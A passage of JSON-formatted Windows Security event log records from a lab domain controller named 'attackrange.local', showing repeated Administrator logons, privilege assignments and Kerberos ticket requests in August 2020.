11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221951,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{3DE42524-4668-AE12-7021-711AFB58ED19}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{3DE42524-4668-AE12-7021-711AFB58ED19}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221952,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x75B27\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{3DE42524-4668-AE12-7021-711AFB58ED19}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x75b27","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{3DE42524-4668-AE12-7021-711AFB58ED19}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221953,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x75B27\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x75b27","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221954,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221955,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{3DE42524-4668-AE12-7021-711AFB58ED19}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{3DE42524-4668-AE12-7021-711AFB58ED19}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221956,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{3DE42524-4668-AE12-7021-711AFB58ED19}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{3DE42524-4668-AE12-7021-711AFB58ED19}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221957,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x75DE4\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{3DE42524-4668-AE12-7021-711AFB58ED19}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x75de4","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{3DE42524-4668-AE12-7021-711AFB58ED19}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221958,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x75DE4\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x75de4","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221959,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221960,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{3DE42524-4668-AE12-7021-711AFB58ED19}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{3DE42524-4668-AE12-7021-711AFB58ED19}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221961,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{3DE42524-4668-AE12-7021-711AFB58ED19}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{3DE42524-4668-AE12-7021-711AFB58ED19}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221962,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x777C0\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{3DE42524-4668-AE12-7021-711AFB58ED19}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x777c0","LogonType":"3","LogonProcessName":"Advapi 